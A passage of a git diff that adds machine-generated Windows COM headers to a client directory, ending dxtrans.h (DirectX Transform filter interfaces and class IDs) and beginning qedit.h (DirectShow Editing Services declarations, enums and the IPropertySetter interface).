HRESULT ( STDMETHODCALLTYPE *get_Duration )( + ICSSFilterDispatch * This, + /* [retval][out] */ float *pVal); + + /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Duration )( + ICSSFilterDispatch * This, + /* [in] */ float newVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Enabled )( + ICSSFilterDispatch * This, + /* [retval][out] */ VARIANT_BOOL *pfVal); + + /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Enabled )( + ICSSFilterDispatch * This, + /* [in] */ VARIANT_BOOL fVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Status )( + ICSSFilterDispatch * This, + /* [retval][out] */ DXTFILTER_STATUS *peVal); + + /* [id] */ HRESULT ( STDMETHODCALLTYPE *Apply )( + ICSSFilterDispatch * This); + + /* [id] */ HRESULT ( STDMETHODCALLTYPE *Play )( + ICSSFilterDispatch * This, + /* [optional][in] */ VARIANT varDuration); + + /* [id] */ HRESULT ( STDMETHODCALLTYPE *Stop )( + ICSSFilterDispatch * This); + + END_INTERFACE + } ICSSFilterDispatchVtbl; + + interface ICSSFilterDispatch + { + CONST_VTBL struct ICSSFilterDispatchVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define ICSSFilterDispatch_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define ICSSFilterDispatch_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define ICSSFilterDispatch_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define ICSSFilterDispatch_GetTypeInfoCount(This,pctinfo) \ + (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) + +#define ICSSFilterDispatch_GetTypeInfo(This,iTInfo,lcid,ppTInfo) \ + (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) + +#define ICSSFilterDispatch_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) \ + (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) + +#define ICSSFilterDispatch_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) \ + (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) + + +#define ICSSFilterDispatch_get_Percent(This,pVal) \ + (This)->lpVtbl -> get_Percent(This,pVal) + +#define ICSSFilterDispatch_put_Percent(This,newVal) \ + (This)->lpVtbl -> put_Percent(This,newVal) + +#define ICSSFilterDispatch_get_Duration(This,pVal) \ + (This)->lpVtbl -> get_Duration(This,pVal) + +#define ICSSFilterDispatch_put_Duration(This,newVal) \ + (This)->lpVtbl -> put_Duration(This,newVal) + +#define ICSSFilterDispatch_get_Enabled(This,pfVal) \ + (This)->lpVtbl -> get_Enabled(This,pfVal) + +#define ICSSFilterDispatch_put_Enabled(This,fVal) \ + (This)->lpVtbl -> put_Enabled(This,fVal) + +#define ICSSFilterDispatch_get_Status(This,peVal) \ + (This)->lpVtbl -> get_Status(This,peVal) + +#define ICSSFilterDispatch_Apply(This) \ + (This)->lpVtbl -> Apply(This) + +#define ICSSFilterDispatch_Play(This,varDuration) \ + (This)->lpVtbl -> Play(This,varDuration) + +#define ICSSFilterDispatch_Stop(This) \ + (This)->lpVtbl -> Stop(This) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [id][propget] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_get_Percent_Proxy( + ICSSFilterDispatch * This, + /* [retval][out] */ float *pVal); + + +void __RPC_STUB ICSSFilterDispatch_get_Percent_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [id][propput] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_put_Percent_Proxy( + ICSSFilterDispatch * This, + /* [in] */ float newVal); + + +void __RPC_STUB ICSSFilterDispatch_put_Percent_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [id][propget] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_get_Duration_Proxy( + ICSSFilterDispatch * This, + /* [retval][out] */ float *pVal); + + +void __RPC_STUB ICSSFilterDispatch_get_Duration_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [id][propput] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_put_Duration_Proxy( + ICSSFilterDispatch * This, + /* [in] */ float newVal); + + +void __RPC_STUB ICSSFilterDispatch_put_Duration_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [id][propget] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_get_Enabled_Proxy( + ICSSFilterDispatch * This, + /* [retval][out] */ VARIANT_BOOL *pfVal); + + +void __RPC_STUB ICSSFilterDispatch_get_Enabled_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [id][propput] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_put_Enabled_Proxy( + ICSSFilterDispatch * This, + /* [in] */ VARIANT_BOOL fVal); + + +void __RPC_STUB ICSSFilterDispatch_put_Enabled_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [id][propget] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_get_Status_Proxy( + ICSSFilterDispatch * This, + /* [retval][out] */ DXTFILTER_STATUS *peVal); + + +void __RPC_STUB ICSSFilterDispatch_get_Status_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [id] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_Apply_Proxy( + ICSSFilterDispatch * This); + + +void __RPC_STUB ICSSFilterDispatch_Apply_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [id] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_Play_Proxy( + ICSSFilterDispatch * This, + /* [optional][in] */ VARIANT varDuration); + + +void __RPC_STUB ICSSFilterDispatch_Play_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [id] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_Stop_Proxy( + ICSSFilterDispatch * This); + + +void __RPC_STUB ICSSFilterDispatch_Stop_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __ICSSFilterDispatch_INTERFACE_DEFINED__ */ + + + +#ifndef __DXTRANSLib_LIBRARY_DEFINED__ +#define __DXTRANSLib_LIBRARY_DEFINED__ + +/* library DXTRANSLib */ +/* [helpstring][version][uuid] */ + + +EXTERN_C const IID LIBID_DXTRANSLib; + +EXTERN_C const CLSID CLSID_DXTransformFactory; + +#ifdef __cplusplus + +class DECLSPEC_UUID("D1FE6762-FC48-11D0-883A-3C8B00C10000") +DXTransformFactory; +#endif + +EXTERN_C const CLSID CLSID_DXTaskManager; + +#ifdef __cplusplus + +class DECLSPEC_UUID("4CB26C03-FF93-11d0-817E-0000F87557DB") +DXTaskManager; +#endif + +EXTERN_C const CLSID CLSID_DXTScale; + +#ifdef __cplusplus + +class DECLSPEC_UUID("555278E2-05DB-11D1-883A-3C8B00C10000") +DXTScale; +#endif + +EXTERN_C const CLSID CLSID_DXSurface; + +#ifdef __cplusplus + +class DECLSPEC_UUID("0E890F83-5F79-11D1-9043-00C04FD9189D") +DXSurface; +#endif + +EXTERN_C const CLSID CLSID_DXSurfaceModifier; + +#ifdef __cplusplus + +class DECLSPEC_UUID("3E669F1D-9C23-11d1-9053-00C04FD9189D") +DXSurfaceModifier; +#endif + +EXTERN_C const CLSID CLSID_DXGradient; + +#ifdef __cplusplus + +class DECLSPEC_UUID("C6365470-F667-11d1-9067-00C04FD9189D") +DXGradient; +#endif + +EXTERN_C const CLSID CLSID_DXTFilter; + +#ifdef __cplusplus + +class DECLSPEC_UUID("385A91BC-1E8A-4e4a-A7A6-F4FC1E6CA1BD") +DXTFilter; +#endif +#endif /* __DXTRANSLib_LIBRARY_DEFINED__ */ + +/* Additional Prototypes for ALL interfaces */ + +unsigned long __RPC_USER VARIANT_UserSize( unsigned long *, unsigned long , VARIANT * ); +unsigned char * __RPC_USER VARIANT_UserMarshal( unsigned long *, unsigned char *, VARIANT * ); +unsigned char * __RPC_USER VARIANT_UserUnmarshal(unsigned long *, unsigned char *, VARIANT * ); +void __RPC_USER VARIANT_UserFree( unsigned long *, VARIANT * ); + +/* end of Additional Prototypes */ + +#ifdef __cplusplus +} +#endif + +#endif + + diff --git a/client/qedit.h b/client/qedit.h new file mode 100644 index 0000000..947c8a0 --- /dev/null +++ b/client/qedit.h @@ -0,0 +1,10236 @@ + +#pragma warning( disable: 4049 ) /* more than 64k source lines */ + +/* this ALWAYS GENERATED file contains the definitions for the interfaces */ + + + /* File created by MIDL compiler version 6.00.0357 */ +/* Compiler settings for qedit.idl: + Oicf, W1, Zp8, env=Win32 (32b run) + protocol : dce , ms_ext, c_ext, robust + error checks: allocation ref bounds_check enum stub_data + VC __declspec() decoration level: + __declspec(uuid()), __declspec(selectany), __declspec(novtable) + DECLSPEC_UUID(), MIDL_INTERFACE() +*/ +//@@MIDL_FILE_HEADING( ) + + +/* verify that the version is high enough to compile this file*/ +#ifndef __REQUIRED_RPCNDR_H_VERSION__ +#define __REQUIRED_RPCNDR_H_VERSION__ 475 +#endif + +#include "rpc.h" +#include "rpcndr.h" + +#ifndef __RPCNDR_H_VERSION__ +#error this stub requires an updated version of +#endif // __RPCNDR_H_VERSION__ + +#ifndef COM_NO_WINDOWS_H +#include "windows.h" +#include "ole2.h" +#endif /*COM_NO_WINDOWS_H*/ + +#ifndef __qedit_h__ +#define __qedit_h__ + +#if defined(_MSC_VER) && (_MSC_VER >= 1020) +#pragma once +#endif + +/* Forward Declarations */ + +#ifndef __IPropertySetter_FWD_DEFINED__ +#define __IPropertySetter_FWD_DEFINED__ +typedef interface IPropertySetter IPropertySetter; +#endif /* __IPropertySetter_FWD_DEFINED__ */ + + +#ifndef __IDxtCompositor_FWD_DEFINED__ +#define __IDxtCompositor_FWD_DEFINED__ +typedef interface IDxtCompositor IDxtCompositor; +#endif /* __IDxtCompositor_FWD_DEFINED__ */ + + +#ifndef __IDxtAlphaSetter_FWD_DEFINED__ +#define __IDxtAlphaSetter_FWD_DEFINED__ +typedef interface IDxtAlphaSetter IDxtAlphaSetter; +#endif /* __IDxtAlphaSetter_FWD_DEFINED__ */ + + +#ifndef __IDxtJpeg_FWD_DEFINED__ +#define __IDxtJpeg_FWD_DEFINED__ +typedef interface IDxtJpeg IDxtJpeg; +#endif /* __IDxtJpeg_FWD_DEFINED__ */ + + +#ifndef __IDxtKey_FWD_DEFINED__ +#define __IDxtKey_FWD_DEFINED__ +typedef interface IDxtKey IDxtKey; +#endif /* __IDxtKey_FWD_DEFINED__ */ + + +#ifndef __IMediaLocator_FWD_DEFINED__ +#define __IMediaLocator_FWD_DEFINED__ +typedef interface IMediaLocator IMediaLocator; +#endif /* __IMediaLocator_FWD_DEFINED__ */ + + +#ifndef __IMediaDet_FWD_DEFINED__ +#define __IMediaDet_FWD_DEFINED__ +typedef interface IMediaDet IMediaDet; +#endif /* __IMediaDet_FWD_DEFINED__ */ + + +#ifndef __IGrfCache_FWD_DEFINED__ +#define __IGrfCache_FWD_DEFINED__ +typedef interface IGrfCache IGrfCache; +#endif /* __IGrfCache_FWD_DEFINED__ */ + + +#ifndef __IRenderEngine_FWD_DEFINED__ +#define __IRenderEngine_FWD_DEFINED__ +typedef interface IRenderEngine IRenderEngine; +#endif /* __IRenderEngine_FWD_DEFINED__ */ + + +#ifndef __IRenderEngine2_FWD_DEFINED__ +#define __IRenderEngine2_FWD_DEFINED__ +typedef interface IRenderEngine2 IRenderEngine2; +#endif /* __IRenderEngine2_FWD_DEFINED__ */ + + +#ifndef __IFindCompressorCB_FWD_DEFINED__ +#define __IFindCompressorCB_FWD_DEFINED__ +typedef interface IFindCompressorCB IFindCompressorCB; +#endif /* __IFindCompressorCB_FWD_DEFINED__ */ + + +#ifndef __ISmartRenderEngine_FWD_DEFINED__ +#define __ISmartRenderEngine_FWD_DEFINED__ +typedef interface ISmartRenderEngine ISmartRenderEngine; +#endif /* __ISmartRenderEngine_FWD_DEFINED__ */ + + +#ifndef __IAMTimelineObj_FWD_DEFINED__ +#define __IAMTimelineObj_FWD_DEFINED__ +typedef interface IAMTimelineObj IAMTimelineObj; +#endif /* __IAMTimelineObj_FWD_DEFINED__ */ + + +#ifndef __IAMTimelineEffectable_FWD_DEFINED__ +#define __IAMTimelineEffectable_FWD_DEFINED__ +typedef interface IAMTimelineEffectable IAMTimelineEffectable; +#endif /* __IAMTimelineEffectable_FWD_DEFINED__ */ + + +#ifndef __IAMTimelineEffect_FWD_DEFINED__ +#define __IAMTimelineEffect_FWD_DEFINED__ +typedef interface IAMTimelineEffect IAMTimelineEffect; +#endif /* __IAMTimelineEffect_FWD_DEFINED__ */ + + +#ifndef __IAMTimelineTransable_FWD_DEFINED__ +#define __IAMTimelineTransable_FWD_DEFINED__ +typedef interface IAMTimelineTransable IAMTimelineTransable; +#endif /* __IAMTimelineTransable_FWD_DEFINED__ */ + + +#ifndef __IAMTimelineSplittable_FWD_DEFINED__ +#define __IAMTimelineSplittable_FWD_DEFINED__ +typedef interface IAMTimelineSplittable IAMTimelineSplittable; +#endif /* __IAMTimelineSplittable_FWD_DEFINED__ */ + + +#ifndef __IAMTimelineTrans_FWD_DEFINED__ +#define __IAMTimelineTrans_FWD_DEFINED__ +typedef interface IAMTimelineTrans IAMTimelineTrans; +#endif /* __IAMTimelineTrans_FWD_DEFINED__ */ + + +#ifndef __IAMTimelineSrc_FWD_DEFINED__ +#define __IAMTimelineSrc_FWD_DEFINED__ +typedef interface IAMTimelineSrc IAMTimelineSrc; +#endif /* __IAMTimelineSrc_FWD_DEFINED__ */ + + +#ifndef __IAMTimelineTrack_FWD_DEFINED__ +#define __IAMTimelineTrack_FWD_DEFINED__ +typedef interface IAMTimelineTrack IAMTimelineTrack; +#endif /* __IAMTimelineTrack_FWD_DEFINED__ */ + + +#ifndef __IAMTimelineVirtualTrack_FWD_DEFINED__ +#define __IAMTimelineVirtualTrack_FWD_DEFINED__ +typedef interface IAMTimelineVirtualTrack IAMTimelineVirtualTrack; +#endif /* __IAMTimelineVirtualTrack_FWD_DEFINED__ */ + + +#ifndef __IAMTimelineComp_FWD_DEFINED__ +#define __IAMTimelineComp_FWD_DEFINED__ +typedef interface IAMTimelineComp IAMTimelineComp; +#endif /* __IAMTimelineComp_FWD_DEFINED__ */ + + +#ifndef __IAMTimelineGroup_FWD_DEFINED__ +#define __IAMTimelineGroup_FWD_DEFINED__ +typedef interface IAMTimelineGroup IAMTimelineGroup; +#endif /* __IAMTimelineGroup_FWD_DEFINED__ */ + + +#ifndef __IAMTimeline_FWD_DEFINED__ +#define __IAMTimeline_FWD_DEFINED__ +typedef interface IAMTimeline IAMTimeline; +#endif /* __IAMTimeline_FWD_DEFINED__ */ + + +#ifndef __IXml2Dex_FWD_DEFINED__ +#define __IXml2Dex_FWD_DEFINED__ +typedef interface IXml2Dex IXml2Dex; +#endif /* __IXml2Dex_FWD_DEFINED__ */ + + +#ifndef __IAMErrorLog_FWD_DEFINED__ +#define __IAMErrorLog_FWD_DEFINED__ +typedef interface IAMErrorLog IAMErrorLog; +#endif /* __IAMErrorLog_FWD_DEFINED__ */ + + +#ifndef __IAMSetErrorLog_FWD_DEFINED__ +#define __IAMSetErrorLog_FWD_DEFINED__ +typedef interface IAMSetErrorLog IAMSetErrorLog; +#endif /* __IAMSetErrorLog_FWD_DEFINED__ */ + + +#ifndef __ISampleGrabberCB_FWD_DEFINED__ +#define __ISampleGrabberCB_FWD_DEFINED__ +typedef interface ISampleGrabberCB ISampleGrabberCB; +#endif /* __ISampleGrabberCB_FWD_DEFINED__ */ + + +#ifndef __ISampleGrabber_FWD_DEFINED__ +#define __ISampleGrabber_FWD_DEFINED__ +typedef interface ISampleGrabber ISampleGrabber; +#endif /* __ISampleGrabber_FWD_DEFINED__ */ + + +#ifndef __IResize_FWD_DEFINED__ +#define __IResize_FWD_DEFINED__ +typedef interface IResize IResize; +#endif /* __IResize_FWD_DEFINED__ */ + + +#ifndef __AMTimeline_FWD_DEFINED__ +#define __AMTimeline_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class AMTimeline AMTimeline; +#else +typedef struct AMTimeline AMTimeline; +#endif /* __cplusplus */ + +#endif /* __AMTimeline_FWD_DEFINED__ */ + + +#ifndef __AMTimelineObj_FWD_DEFINED__ +#define __AMTimelineObj_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class AMTimelineObj AMTimelineObj; +#else +typedef struct AMTimelineObj AMTimelineObj; +#endif /* __cplusplus */ + +#endif /* __AMTimelineObj_FWD_DEFINED__ */ + + +#ifndef __AMTimelineSrc_FWD_DEFINED__ +#define __AMTimelineSrc_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class AMTimelineSrc AMTimelineSrc; +#else +typedef struct AMTimelineSrc AMTimelineSrc; +#endif /* __cplusplus */ + +#endif /* __AMTimelineSrc_FWD_DEFINED__ */ + + +#ifndef __AMTimelineTrack_FWD_DEFINED__ +#define __AMTimelineTrack_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class AMTimelineTrack AMTimelineTrack; +#else +typedef struct AMTimelineTrack AMTimelineTrack; +#endif /* __cplusplus */ + +#endif /* __AMTimelineTrack_FWD_DEFINED__ */ + + +#ifndef __AMTimelineComp_FWD_DEFINED__ +#define __AMTimelineComp_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class AMTimelineComp AMTimelineComp; +#else +typedef struct AMTimelineComp AMTimelineComp; +#endif /* __cplusplus */ + +#endif /* __AMTimelineComp_FWD_DEFINED__ */ + + +#ifndef __AMTimelineGroup_FWD_DEFINED__ +#define __AMTimelineGroup_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class AMTimelineGroup AMTimelineGroup; +#else +typedef struct AMTimelineGroup AMTimelineGroup; +#endif /* __cplusplus */ + +#endif /* __AMTimelineGroup_FWD_DEFINED__ */ + + +#ifndef __AMTimelineTrans_FWD_DEFINED__ +#define __AMTimelineTrans_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class AMTimelineTrans AMTimelineTrans; +#else +typedef struct AMTimelineTrans AMTimelineTrans; +#endif /* __cplusplus */ + +#endif /* __AMTimelineTrans_FWD_DEFINED__ */ + + +#ifndef __AMTimelineEffect_FWD_DEFINED__ +#define __AMTimelineEffect_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class AMTimelineEffect AMTimelineEffect; +#else +typedef struct AMTimelineEffect AMTimelineEffect; +#endif /* __cplusplus */ + +#endif /* __AMTimelineEffect_FWD_DEFINED__ */ + + +#ifndef __RenderEngine_FWD_DEFINED__ +#define __RenderEngine_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class RenderEngine RenderEngine; +#else +typedef struct RenderEngine RenderEngine; +#endif /* __cplusplus */ + +#endif /* __RenderEngine_FWD_DEFINED__ */ + + +#ifndef __SmartRenderEngine_FWD_DEFINED__ +#define __SmartRenderEngine_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class SmartRenderEngine SmartRenderEngine; +#else +typedef struct SmartRenderEngine SmartRenderEngine; +#endif /* __cplusplus */ + +#endif /* __SmartRenderEngine_FWD_DEFINED__ */ + + +#ifndef __AudMixer_FWD_DEFINED__ +#define __AudMixer_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class AudMixer AudMixer; +#else +typedef struct AudMixer AudMixer; +#endif /* __cplusplus */ + +#endif /* __AudMixer_FWD_DEFINED__ */ + + +#ifndef __Xml2Dex_FWD_DEFINED__ +#define __Xml2Dex_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class Xml2Dex Xml2Dex; +#else +typedef struct Xml2Dex Xml2Dex; +#endif /* __cplusplus */ + +#endif /* __Xml2Dex_FWD_DEFINED__ */ + + +#ifndef __MediaLocator_FWD_DEFINED__ +#define __MediaLocator_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class MediaLocator MediaLocator; +#else +typedef struct MediaLocator MediaLocator; +#endif /* __cplusplus */ + +#endif /* __MediaLocator_FWD_DEFINED__ */ + + +#ifndef __PropertySetter_FWD_DEFINED__ +#define __PropertySetter_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class PropertySetter PropertySetter; +#else +typedef struct PropertySetter PropertySetter; +#endif /* __cplusplus */ + +#endif /* __PropertySetter_FWD_DEFINED__ */ + + +#ifndef __MediaDet_FWD_DEFINED__ +#define __MediaDet_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class MediaDet MediaDet; +#else +typedef struct MediaDet MediaDet; +#endif /* __cplusplus */ + +#endif /* __MediaDet_FWD_DEFINED__ */ + + +#ifndef __SampleGrabber_FWD_DEFINED__ +#define __SampleGrabber_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class SampleGrabber SampleGrabber; +#else +typedef struct SampleGrabber SampleGrabber; +#endif /* __cplusplus */ + +#endif /* __SampleGrabber_FWD_DEFINED__ */ + + +#ifndef __NullRenderer_FWD_DEFINED__ +#define __NullRenderer_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class NullRenderer NullRenderer; +#else +typedef struct NullRenderer NullRenderer; +#endif /* __cplusplus */ + +#endif /* __NullRenderer_FWD_DEFINED__ */ + + +#ifndef __DxtCompositor_FWD_DEFINED__ +#define __DxtCompositor_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class DxtCompositor DxtCompositor; +#else +typedef struct DxtCompositor DxtCompositor; +#endif /* __cplusplus */ + +#endif /* __DxtCompositor_FWD_DEFINED__ */ + + +#ifndef __DxtAlphaSetter_FWD_DEFINED__ +#define __DxtAlphaSetter_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class DxtAlphaSetter DxtAlphaSetter; +#else +typedef struct DxtAlphaSetter DxtAlphaSetter; +#endif /* __cplusplus */ + +#endif /* __DxtAlphaSetter_FWD_DEFINED__ */ + + +#ifndef __DxtJpeg_FWD_DEFINED__ +#define __DxtJpeg_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class DxtJpeg DxtJpeg; +#else +typedef struct DxtJpeg DxtJpeg; +#endif /* __cplusplus */ + +#endif /* __DxtJpeg_FWD_DEFINED__ */ + + +#ifndef __ColorSource_FWD_DEFINED__ +#define __ColorSource_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class ColorSource ColorSource; +#else +typedef struct ColorSource ColorSource; +#endif /* __cplusplus */ + +#endif /* __ColorSource_FWD_DEFINED__ */ + + +#ifndef __DxtKey_FWD_DEFINED__ +#define __DxtKey_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class DxtKey DxtKey; +#else +typedef struct DxtKey DxtKey; +#endif /* __cplusplus */ + +#endif /* __DxtKey_FWD_DEFINED__ */ + + +/* header files for imported files */ +#include "oaidl.h" +#include "ocidl.h" +#include "dxtrans.h" +#include "amstream.h" + +#ifdef __cplusplus +extern "C"{ +#endif + +void * __RPC_USER MIDL_user_allocate(size_t); +void __RPC_USER MIDL_user_free( void * ); + +/* interface __MIDL_itf_qedit_0000 */ +/* [local] */ + + + + + + + + + + +typedef /* [public] */ +enum __MIDL___MIDL_itf_qedit_0000_0001 + { DEXTERF_JUMP = 0, + DEXTERF_INTERPOLATE = DEXTERF_JUMP + 1 + } DEXTERF; + +typedef /* [public][public][public][public] */ struct __MIDL___MIDL_itf_qedit_0000_0002 + { + BSTR Name; + DISPID dispID; + LONG nValues; + } DEXTER_PARAM; + +typedef /* [public][public][public][public] */ struct __MIDL___MIDL_itf_qedit_0000_0003 + { + VARIANT v; + REFERENCE_TIME rt; + DWORD dwInterp; + } DEXTER_VALUE; + + +enum __MIDL___MIDL_itf_qedit_0000_0004 + { DEXTER_AUDIO_JUMP = 0, + DEXTER_AUDIO_INTERPOLATE = DEXTER_AUDIO_JUMP + 1 + } ; +typedef /* [public] */ struct __MIDL___MIDL_itf_qedit_0000_0005 + { + REFERENCE_TIME rtEnd; + double dLevel; + BOOL bMethod; + } DEXTER_AUDIO_VOLUMEENVELOPE; + + +enum __MIDL___MIDL_itf_qedit_0000_0006 + { TIMELINE_INSERT_MODE_INSERT = 1, + TIMELINE_INSERT_MODE_OVERLAY = 2 + } ; +typedef /* [public][public][public][public][public][public][public][public] */ +enum __MIDL___MIDL_itf_qedit_0000_0007 + { TIMELINE_MAJOR_TYPE_COMPOSITE = 1, + TIMELINE_MAJOR_TYPE_TRACK = 2, + TIMELINE_MAJOR_TYPE_SOURCE = 4, + TIMELINE_MAJOR_TYPE_TRANSITION = 8, + TIMELINE_MAJOR_TYPE_EFFECT = 16, + TIMELINE_MAJOR_TYPE_GROUP = 128 + } TIMELINE_MAJOR_TYPE; + +typedef /* [public] */ +enum __MIDL___MIDL_itf_qedit_0000_0008 + { DEXTERF_BOUNDING = -1, + DEXTERF_EXACTLY_AT = 0, + DEXTERF_FORWARDS = 1 + } DEXTERF_TRACK_SEARCH_FLAGS; + +typedef struct _SCompFmt0 + { + long nFormatId; + AM_MEDIA_TYPE MediaType; + } SCompFmt0; + + +enum __MIDL___MIDL_itf_qedit_0000_0009 + { RESIZEF_STRETCH = 0, + RESIZEF_CROP = RESIZEF_STRETCH + 1, + RESIZEF_PRESERVEASPECTRATIO = RESIZEF_CROP + 1, + RESIZEF_PRESERVEASPECTRATIO_NOLETTERBOX = RESIZEF_PRESERVEASPECTRATIO + 1 + } ; + +enum __MIDL___MIDL_itf_qedit_0000_0010 + { CONNECTF_DYNAMIC_NONE = 0, + CONNECTF_DYNAMIC_SOURCES = 0x1, + CONNECTF_DYNAMIC_EFFECTS = 0x2 + } ; + +enum __MIDL___MIDL_itf_qedit_0000_0011 + { SFN_VALIDATEF_CHECK = 0x1, + SFN_VALIDATEF_POPUP = 0x2, + SFN_VALIDATEF_TELLME = 0x4, + SFN_VALIDATEF_REPLACE = 0x8, + SFN_VALIDATEF_USELOCAL = 0x10, + SFN_VALIDATEF_NOFIND = 0x20, + SFN_VALIDATEF_IGNOREMUTED = 0x40, + SFN_VALIDATEF_END = SFN_VALIDATEF_IGNOREMUTED + 1 + } ; + +enum __MIDL___MIDL_itf_qedit_0000_0012 + { DXTKEY_RGB = 0, + DXTKEY_NONRED = DXTKEY_RGB + 1, + DXTKEY_LUMINANCE = DXTKEY_NONRED + 1, + DXTKEY_ALPHA = DXTKEY_LUMINANCE + 1, + DXTKEY_HUE = DXTKEY_ALPHA + 1 + } ; + + +extern RPC_IF_HANDLE __MIDL_itf_qedit_0000_v0_0_c_ifspec; +extern RPC_IF_HANDLE __MIDL_itf_qedit_0000_v0_0_s_ifspec; + +#ifndef __IPropertySetter_INTERFACE_DEFINED__ +#define __IPropertySetter_INTERFACE_DEFINED__ + +/* interface IPropertySetter */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IPropertySetter; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("AE9472BD-B0C3-11D2-8D24-00A0C9441E20") + IPropertySetter : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE LoadXML( + /* [in] */ IUnknown *pxml) = 0; + + virtual HRESULT STDMETHODCALLTYPE PrintXML( + /* [out] */ char *pszXML, + /* [in] */ int cbXML, + /* [out] */ int *pcbPrinted, + /* [in] */ int indent) = 0; + + virtual HRESULT STDMETHODCALLTYPE CloneProps( + /* [out] */ IPropertySetter **ppSetter, + /* [in] */ REFERENCE_TIME rtStart, + /* [in] */ REFERENCE_TIME rtStop) = 0; + + virtual HRESULT STDMETHODCALLTYPE AddProp( + /* [in] */ DEXTER_PARAM Param, + /* [in] */ DEXTER_VALUE *paValue) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetProps( + /* [out] */ LONG *pcParams, + /* [out] */ DEXTER_PARAM **paParam, + /* [out] */ DEXTER_VALUE **paValue) = 0; + + virtual HRESULT STDMETHODCALLTYPE FreeProps( + /* [in] */ LONG cParams, + /* [in] */ DEXTER_PARAM *paParam, + /* [in] */ DEXTER_VALUE *paValue) = 0; + + virtual HRESULT STDMETHODCALLTYPE ClearProps( void) = 0; + + virtual HRESULT STDMETHODCALLTYPE SaveToBlob( + /* [out] */ LONG *pcSize, + /* [out] */ BYTE **ppb) = 0; + + virtual HRESULT STDMETHODCALLTYPE LoadFromBlob( + /* [in] */ LONG cSize, + /* [in] */ BYTE *pb) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetProps( + /* [in] */ IUnknown *pTarget, + /* [in] */ REFERENCE_TIME rtNow) = 0; + + virtual HRESULT STDMETHODCALLTYPE PrintXMLW( + /* [out] */ WCHAR *pszXML, + /* [in] */ int cchXML, + /* [out] */ int *pcchPrinted, + /* [in] */ int 